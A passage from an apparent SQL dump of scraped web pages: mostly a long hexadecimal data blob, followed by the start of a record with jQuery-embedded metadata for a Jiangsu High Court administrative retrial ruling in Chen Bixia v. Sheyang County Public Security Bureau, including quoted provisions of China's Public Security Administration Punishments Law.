7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC1846672****AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A0C1B7D1ED91E0B80B13C8036339834AA8DAA55757784CB0A783B5C5F9F8DBA7E6EFB9190F03835383606D82AAB66767BEFECF07B3F8304A30E880EEF3D3777C18887533D173BC42283DF1A2A3DF762CF0EA92E48A3A07203E08D4F80ABCC5AAC23CC861C3494228322057C54D533D0AAFF370889D4836DA833F75DA8FFB5BC7691AA9B8F45A050994A853037E134ECBA5C94DE00FFA6F70ECFBD88A80AE8908C8BBDC7848344D62EEFDF7B6E16F1271326B1202FB8D87B5546B96DF5FF75D07F23C0747CA82C38346832343537B07755E760606A0001120C73B97B46FBB8345B33C9E97A17C1874384D8521FF2C87807C37B991444557AF1DE8B4580C1BA118D7788C5880A35BD724944F01E87872D4241F000D0A989E983E1D135FE5900815DD4A4019D1F49E1300360D0DA5FFAA0A375BC38333732FA380508F8823FB9299F819D58814DD8373784B1BB06C3E4C067EC04BF043A84201DDE8CD03E6E47ECBD58032419DBE578B3C3A48274EC12BD18B177A9DD10D558350836F70F838470C410219700FEAD75E46A37DC6D8489E0877BBC314EB83736BD6CB852C02914CC3861F72F04FAF4314DF80175F4B250B1CFCD728717AF44A448DE3BCC2264C36FB203BD779AC527A57ECCD6E13DDF8B0BA44580801A98C50A983582D21E16C0AF7E93B835B438310B47BE0025354E819044A120593F2155E8659408BB5F3E3537318432333635B76C0B115EB11887F32E6F317BAF1931A295CECB1A8CC321D25E6759C1263D82C026B902383C9EE90620E52C077F0AF80A49DCC775803281096F155A14463A095DB86B80ED353250A04921D0FE3762AD9EE52832017DEC8355CC36313823C231185B4D5E01002FF622CC87D9A77AAF638F177BA122A7A7C420DCB0777A150A92CB908AF0DEE9C600BE43B3B8BB25D92A5C9333319A353333B625157C5A5EEF58D3BC015F5F53B50C38FD16DD0C73185A20E6B952381C5E8C2E916B285169C23B4C4838BF3A84D8736FD6D10807E6E063C68BBD0A0FBA20C68057A4172DC3F18815B984C8D8DAADF335C61BF8BE06884D00360A01C2F71C1964F7BD52E952D963A610AC58A79DB24C64FC43B1923083C31F48401C66BCE781AC9BD1FA358CF7269DB9C1E96F1211826D9F06D481C06C7F0F506A388B709964899764679707B4A480779C4F60423734373314566BFAF5318D73197DC784D1540E014B8D3AC390CE7AB326FDBD70FC71D19248F662CC4B02CCD78C482F766887A0844A62B3F75EA610202ABB10DE7B3D5A4DE82433239F476244C2A43134C0389CEC5C0527F49FDA70578D603A93780F98FCF0DC0A7051E1D0323420193C9E7C7F860058B1D39B75AD24BCAAA6EFC51812C55A02DEBDD72C12EEEC80AFC40E41E0F02EAF59023E087E70838D0429010B10371D55EC396040502218A00106418B84516369F1D3B98678ECCAD9D8FF4D94A513626C95C466A581A362BD9D8B31A3BD71B767498BCD70B3CFB5D6B084C466B31783A01EB884494C3A5ADF2B67D969E6DEBF0139AC140E192C82FB3032808814E08C586916DA4D9BCA76A9346035ABA04070ACF73BE1399E11F05753CB683550601CA9DD256ADE68E0A9646AA7318919AF36D1CE6F081D82415022069B8DF44EB5061D00B9332F166BC6768DDEC905B3081615E6072FCA1B80313832774F6F6524824531A78031BDFE7AA17D1611239CD0F79D872955AC46C164129410929250F0B935FF37E147B022EFC353AE2004F9182358EFB904D1C631201DDE8417E3AC9F7E6C48BC19D42C29C94E38CC5CC7CD8A9D009831C9875E60EC24D6B3204E14B429B4F397A482D08709839D2C0ADFAFF4115598BEB78195E637085EBB08DC127D903BBE7CB753623063E69BA547A53BC4E0BD86D85492878CD824DEE5EFD0FC7B4418D67477493C114C98D00006107C207854BC8857F1137F763638FF4E08FF852989759C5B04EDB2E0E4E038CC2F14ABE02B20AB333B464FFAE45001B554B76AB6CE177BC5081A5AC49FF49A0589C6A6626F1611228A61DE2CB386F15E98B05DA86F489D624049307B43C176788BEFA388B6B076BB0D27F8BE680404669C952D0962647CC4241C2036729C423226B90987672A567F244A67747AC9885D09BA98D20C779AAF96B546D8201D9E0B9B3F94A3DE0466B1D8A8343706E3E404D14031AB3242C493AFEE80D4320BF2B521811FF413288CC9FC2870E826568C34ABA42670643177E6C6439B3584D3774AF6B58C19A7C38EB13620313BBD434BDFE4009AF1DE9B33FC3517F989BFD19397015D047DF0816DE4384A6A41B4BA015584203045F06F34B0314DFC894D888D85F822D8DA22505772281138B03347281885D3A47B6C220483088E43CBC39AD0ACCF1C344178BC0305BE0E75BD58C10EFD8B402F52B149EF2322DD34DF9F81F66F7458C0525781AA0C5F09248C82CB1E06A13386D136320ECC882C828F9E0639534AB317895DB385C2E101AA89C36146035CE617468C6634ADD21C4816432A73BD7B6F09F020DF221C224B888835451E15640C4361D65C422EC067F76A3153C2734511D1B850763738C52786458B9609E74762ECCE02D670C25AA1B478B159935C0F83D2E14D88F49C8F671D86663C860D2F2359E1CD28F6D4EF4EF4887A63FBD95A81759832813109EC29BD7A44BC7E6D297DE8ECC8CC8D4BB8201075DC1F4CFF5E929DD9CF40CC595BB5358359EDAA5D451E6F6241C62690718081A48235033F5BB593DE2CC6DE13AD6DCD08487CCE804E4580D6D93828A2F0F20067DBDD59F4578B4B13AD14696606AB7C3308147E419C8D462C3468261C8C6202CB546CDE1E2F0211FE940E231B46EEC50480A1E00A66BD86D55E2E36D890DE01DB2A97A4C4B149BD1FD7426A365B2FE416387997E8321035C816275C38ECA50855B66E1DDC173434E2A4B07B576368334A340145C8B357F34D7A8718B86395DC246245E0119AFFC5AC1933170326115C60F682C582C2EDC0610244A01C7A53C1A3272F568D95CC101FEC027910B520538376071B05BC6275B468BA7076DB59F8DC5253898CE1569C62D6BCD8E11DC77D1897066****C22FAEF3233C5DE61C262351E0C10884D98AE70CF13FADE8C58E3551ADB52234D061F105733CE487888745122C93533898674732403E27DDC02EF7D0561C86A1C105491DEE1CD78710BBD51C3664D22F6A519029CF7829DF51DCD80042606196F02B3BA7558BFEC1656C42089B88F98A6CC20402200ED15BED410243662D4217DEC5F7A0D31A9016201C2F12C0EB377C88E82B1E9150196C487790810A1205DB39D30ACDE21DA31D670E2C58A8306D92279BECD3F7668B27413A347A004A6ACC16FAFE7B2B8B9BC53C7042440783678E0B379532CC0534CE83D3EBC2B42858580C30B022F725CCD884849FC3A23581084193B3A33AB61358B3707CB4DC28B344DC3EB00ADAD881932C635B4C87FE0DBC036073883B5003F117DBC81AD6814FAD92A11580955B4998F372244D31B194DB4A4F188448C458427578458309B8F0A1B51B359BCC3E8B52E85EF451A523DD543A72336A478B60B1B1E499A6F14D6B83736376CDAC8ADDC9035AD64D43394BBB133190DE01D602B1845B6C2343660097C794B0481B6463348BB8C4A340A156ADCB46E763703EFD0732C207893A9601C66D06A89A349B1093035BE5715AC37A36210DA98D40C26F7D06502CD9AF4CEB6D92E8A494B627460F123E20CAD326DAC0116A3E251370115D2F4F3C984C8898D219568A78954F150F109B54C9D806052BB8115CA7954AD6CD67BB319C40702140AD61BC63CCD5936AB58074F45F0B858F17A6F3DB5DA2700B33423735E90018764EC1E7DB5566F9BFA0C98BCF1315DE03983653D6BABA1FC23C06BC3344DCA16AC59CF7790B0AF8D759A412C861100B1172B92C899293886D50C0E74D68270B309E00054E0B9C68025653B99ACF048938183A54340061DB9852362F5AC3475B8BBAC275F001C6C4AE9480F22D08C597AB543DE845833AC41E28CB38A308B233F6A5831A44814201386C59ABDF7C73DFC891C4936C468B951E207DCD28B38CA98815DEC32C26418C0F03070B85BFD8362B0195DE829A783B3FAC15258334C5EDFDFCD6236738BBB085A6C568C5958AFE586A4F76631D4CEC3C9BC20BDD31910ED52C953C4623B150320BCECA0C4349146323789BD24D1006603D5B57439C34373F2559C7034C897A0526DA943ACB8E230AB43EDAF6A0719EDC54E130E342584AECD8A119B7CAB245C108B14EBDA498FB8801BC609EC043B1E3460939A59398AD411858F59950081688E8A0D4C0F47F0B2D8BA2DC165907EF406A8312DEC5E03CDB640BCC22ABF6106EE05A31085015E841993486FD932307BB347A4A1BD9B4C9A119B8912EDA74687E76615554BE8FB01F49BCF9436575C9850506A32B07BF19BD510499C4F9065DA66040366085E62E8F11EC1626112B95187D310AB553CF07A1396B8DAD4F90BCCDE9B4648303231F8B495AF88FE74CC053C5C111B5F8D379F5329123FDBD997A023C06A348DA8A3B607C5501A08800E40A5D6B46FEA5D682D83360126D4BEF158AF8D42EF4D604BC27C743CD1040A220B207CEFF082A1B62A3E008466D4EC33A439DCAA385DB0E8D861D86CFD62B411C28C71C5060462A9C381E4F7B2B42F7804361A839E32094DCE463367A2E9434C768D2B091C600862118FD92C167D819F0A8749417899F1EF926FF6DE7BEA15B4E24754FEFFFFDB83C409F4A2C0C416C0CC0880EC6C306100414A8BDA81EB0958CD2F01FFFB8D278BD48142000A5B5A0F854210DFA18DFE5973DEC35367850AD55328756492DD24E0341F1405A02630333BEDC6E085C6C80058A4DF7E23194C08020FF9384C2256A4E1C9C4E941936617719B7782350B37E7A3272BF686F0DEB9511780FEA4D8388022908A78356838334C26D9D09A8977F774B06574169C3876AD48D79F7B894DACD20909BD785B19137A74BFF881CCC66DDC248C0931667ACF845160D6ACDEB26C58B360064C00ADBF482F98553AF48BC6A45EAC87565EC43AC8F6E9D8567B575FCDE05D6FD142C55B0C540BEF31341B4137FC5976500C686A66B3B17EEE80E62E80970933085213FFA72F3096BD18E4688023114BA8D3BF6150EC4D9A3596B3E9B50F2CB59EB01218755D88871CF5C14FAE8883AD2500E08CA03180AB04BF3DB95486322728FF490A8AC5DA6DF2E0B14AF09C7ABD6010243BF56B61C60C829DEDEC4869368B3580E315BC66F41E3024A99D0E31E9F1533B7DCA38429C27A9583372AC0F5EB2F8CF44DE1A2F2C3D8A44550CCFDCB9F47354A40975FC0334FFEAD3833E6E8083BCB869521E2F583D83F5B6AFBD6114A30074ABD27BC198A1EDE7ACD64624786F0D09570EBD181463FB0CEE09E8812C7310D03476069850237B5AC5800E9E603558F802C1EE8B4E79EEF0B058A1493089629DA42E21024582F1B77A5EB026119E37A6B8592CF6350500DAAC5934A32678D4F8C5201BBD5B767868AD5D015761AB7F7C1DFADE816CF5980155902504F425F6C041B661687C3B3C43BDDC2722D1C03DB47054678C49348CF42D0E06BC49359B9820DE0CDE6C22307AAA26F486F5304148512DF5DE84603B15B7E8B8E2D90E038A086809C288832CF4486A28158CB370E0A0CE8BC4576B0C56D0FF3660B3938241A34F41655205B38A0061BC8725759A0D9B1956E8454812E4FE3ACC08064D1354E538CC28428C924B5CD59DACC5F833B468D8245AC806AB6115F10FD94A40DAD5040A83F1627CD5558C32F274726C56CD98948EAB9F59B39811D2E0E12F0205810D9A93ECC58860DAD02B1BBCD69B40AB192C84AF11C011795F9044048AD4FC214D8421BD6C0157991A58402FC0340BE0B003D867FC4B76792DC58A6113459C0E9098103B32C6DAFF624328D2A1DB97C0CD7A3116B771AFD0A4194D842008EB015C56E958250CF564E9F0D068EB584C7F9CDB35E29044DC351BA46EECA362047B30B65A9BF66604ABBE850DABC570412AB1261E4D78B149F9DE357E9E62C93A5C321A6C1817C43803BE11AF0B9A0728744EC2093DCF28BD6F6AAC03888327310D362975D4824AB54150835C56A4DD12F5B15F83C014E904336820422DAC98AC176F0F20E03ACC3AB1D2EC7BCC2635A446F8E64843680634F8466701BD682F28351A20D255A1DC1CE4A3D41BDC9FCC3268AC3835DD2A4DB2A963D0B9368961A0586736E28C42F0E454C3448C596E63876EB097337AB1207A9385829A456C06DB17929BC50E934E63F5B24202622FC20B50562FA907CCB994E3BC32F1730B0756F38C354DC0014003814E997BCCEAED92AAA34BAF922EEFBDF726179C75B110BC050F8605F60E134C8065075165969B11846C610448D4103A61BD200FEA4930B24F44C0537265630338D86FE8DB3511B51B0B7EA2C25F9C8155D8F0FEBD825A06611D835D90384085783443E8C861352BA8B8FDA7DE6316E1672738AF12D6492F4690EB1B0159B309C480C06D06E1BDF77A306B402A08AE384DAAD93C84A460160EE526B9EA31ECBA6242DCE4C8CB6B67C18F020BAA368CF471084C2C6B60AC34330926B581A6EB646533623366101BA2B6666FC290F4F3999598F186F5A4FA90100CA119139BE3E82D058907AEA05F8C051A2F14D1814594B695042FB005A1376AA832FFDB579638BD9733BA911EA02CBC50863265F4215DC46194A843CF146B23F5161B2260CD0B677D733EDEECCD4817B980CD148488CD9A995D18052326CE59ABC0CDDE2157304003308459431DA63C36D4293885F1B4B031E1F6A976A7155D8CAA88FF5706D41B10B86831352458113E7868BEF2F4B508C59BC18462BC9D6655308ACDFEAD26CD0E29AB04A35C635210ACEE3C497088BD175514347092C96AB3F89469757008465BB2C57930B9F9B2D483C8B4F14E3830908A0E4F491A26F45C07061473B87362C27B339605492836631231C67EAB919124DE61FAEC1A1398CD6663FF38DD11998570F961A4D60B0928C95FEC34E633A033C4366B1D515527232842BFC950D0B1E0C013D0E902B9E01129668C8CC63029DE30AE0E9BF78640EF4CAC3415C22FC2108A1299DDD49BC17B2CCA790FB824A2240928503032D20BE08E35BC7D81F70FE875CC819D741AA5348375C493C5206A395FE63844107027373AB355B05EF0212602C526101126E7802738BC532C5F81DE9F666F56414F20D9D68C4814A464FFEFC8C29BC4F3ECFE7C1135F8E420FF582C29592C708A6554A5BF315B7210359DF089BAA00250E20FC491195DC801298C988B4EA7CE9C85625284587A745C20BC1993710FAA579398CD80091FE8CD78337AD294C9293EE2118B21B23BC82CCE7AC179E431FDC02FE204E5A19FCAD5D6A7A2B84D75E4633822461BC0B058846AF1623398CD6BAE1F6C0D89599C49748A662E368BA09CA89EC2661D923DBE2C7A32C7FF1F8BDD508F028B4424148BC85F81C1A92CB3F706FF6F81E9064FBA6877F23E8D7F2EF26B4008587304FF01FF77018A2424ECA85C058BD884DAE9FC08C28CE0A4FC31C4B07AB36607829B159C1EA0649A3F9C05A1373E144C20C9425B133E5003A09D2C566CF0F8846CF79DC2C9D0D81A26634C20D33C4CA008521F5A32B1482871EFCDDE2443926D82B949CD261467A088C561528F88B07529D261490FE97962D146EE0D0D30F0DCF1425453298318097D84414D3664255894FC33495163A09CBF0047FF7C629D548D55F01975A868378CB019EC226359500A6BC13BBCD883033AA060C00C820DF28FA4189388E68A6D58936AC612525583093C2A0FD0D4CE246D7CF4197D886A98D9741B68F2DCAD3238E4933537814BD62118432489DE06F8FA7686D8516FB07082143B0DD59244106B061D57D60DBCD92C9A8EF515DC49C59B042CE97A5407DE8C2609B93C0DB0B91A4BCA0010DEC8350524D9A01CA4E122BE8B022A65306800F0B67A7FB27572561528554483EC0442219815CFB7789F092B562D61D6862568338A496F1C4842D4902611D186BD60C08B17C28752980D890918B0A11702D48F0E551B27440979823214D8375F515BE908F014559C313376B1DEF79519EFBA81A4C6D609910E57EEEC80792420596FA3DDE01E9162412782E3CDEA0DABC7409120064BE0BA7E987450CA5C7298FE09CB8802D51BE2FA48336A3439BDAB9E1C448483C0BE545A818B7CB6B6A008090514EA001149B318DDB3741A788C370366B876A7849D6611ECBDC97DBB5BC322661C6FE1AA66046F42E6FD7287154120E80CA04EB526142D13D462BCD02302C18C0021D61B67E397B6F800895DB048382104BBB08A277F1760BC4B20D5C138E03275BCA6A4E005815EB2635205A3D8CA99442115B1621CC6B31911AC421A0E137887098C933CAFD1FF06FFEB0241480BC075FABA315883F857740258C330016A528C50C9168416117BC0F8A5CE668038056051A3170B76A983167256E84DA20905CEDC882141EF09B72D332A084D4DA96937AB820084C6238A50C1824A2158C1241B8780790C355090686808319C3B8A420FCAF0C7E898323A558922DF611930A30E56CEC17878BC20BCA25A8FC7CD5E2C761315B8178E62168124823111DE2CE04DD0443631940858C425BF67D0A7964562E49C8175A3048D1038AB18E0374018A02E15AC53158F193CB99483DB60EC3CA9C08B1D669C2B63969B30A909F5295B1CC62348D1E6120CBD861463E1662C00F78604C3A44B35644519E27F84948CC8119187FB4D2A61F7D5A2689E8405239814F1B488C4AC6685F5B430661130D9CF279AF582D4183835339A15C438BAFD2629980450F52CAFDA1C54CC091C8B8BAEDE17CC98BE7235CD58C4217A3381A5AFF0CA058D7521CF687C806D135D1732360452FBEAE966C5E1E0CD240792B04834A14A77AE90825940C68CC2AC59C1041D4C9318362B19BAB706788F7ACF09481AE58E3C9F6CF83280D435074BB4E50C0AC4F1C8A337039CA546455D141D3E4C17F46F1AF77EC80F37A76105932E0725CC9A117B07C2870B1366932****D96666316EB00C3CA2B3DE83BCCDEAEEDAF2F890657ADBEBD016A743119C580F1318165F01E5C5EA559402970CC698783D1A737966497EF8037DE9A106B42FB854B8A149B45CB7DB385269C6633CB0B4F7B10A219C1AEBCC2568498D0FB5D20229F0F206D489C381435AC9650316CD9A02386A9E35341204F8A61D52A857AE262C2135E15615E175C54B8499376D00AE94D8A92C19DA85EF5','2018-10-09
13:37:29',0,'web',NULL),(18732887,'acd86bc3-6da1-4dc7-98a1-363caf8e7757','$(function(){$(\"#con_llcs\").html(\"浏览：90次\")});$(function(){var
caseinfo=JSON.stringify({\"文书ID\":\"acd86bc3-6da1-4dc7-98a1-363caf8e7757\",\"案件名称\":\"陈必霞与射阳县公安局行政处罚再审复查与审判监督行政裁定书\",\"案号\":\"（2016）苏行申679号\",\"审判程序\":\"再审审查与审判监督\",\"上传日期\":\"\\\/Date(1482854400000)\\\/\",\"案件类型\":\"3\",\"补正文书\":\"2\",\"法院名称\":\"江苏省高级人民法院\",\"法院ID\":\"930\",\"法院省份\":\"江苏\",\"法院地市\":\"\",\"法院区县\":\"\",\"法院区域\":\"\",\"文书类型\":null,\"文书全文类型\":\"1\",\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"不公开理由\":null,\"DocContent\":\"\",\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"再审申请人陈必霞因诉被申请人射阳县公安局治安行政处罚一案，不服江苏省盐城市中级人民法院（2015）盐行终字第00014号行政判决，向本院申请再审。本院依法组成合议庭对本案进行了审查，现已审查终结\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"附：本裁定适用的相关法律依据
《中华人民共和国治安管理处罚法》 第二十条违反治安管理有下列情形之一的，从重处罚： （四）六个月内曾受过治安管理处罚的。
第二十三条第一款有下列行为之一的，处警告或者二百元以下罚款；情节较重的，处五日以上十日以下拘留，可以并处五百元以下罚款：
（二）扰乱车站、港口、码头、机场、商场、公园、展览馆或者其他公共场所秩序的\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"陈必霞与射阳县公安局行政处罚再审复查与审判监督行政裁定书\");$(\"#tdSource\").html(\"陈必霞与射阳县公安局行政处罚再审复查与审判监督行政裁定书
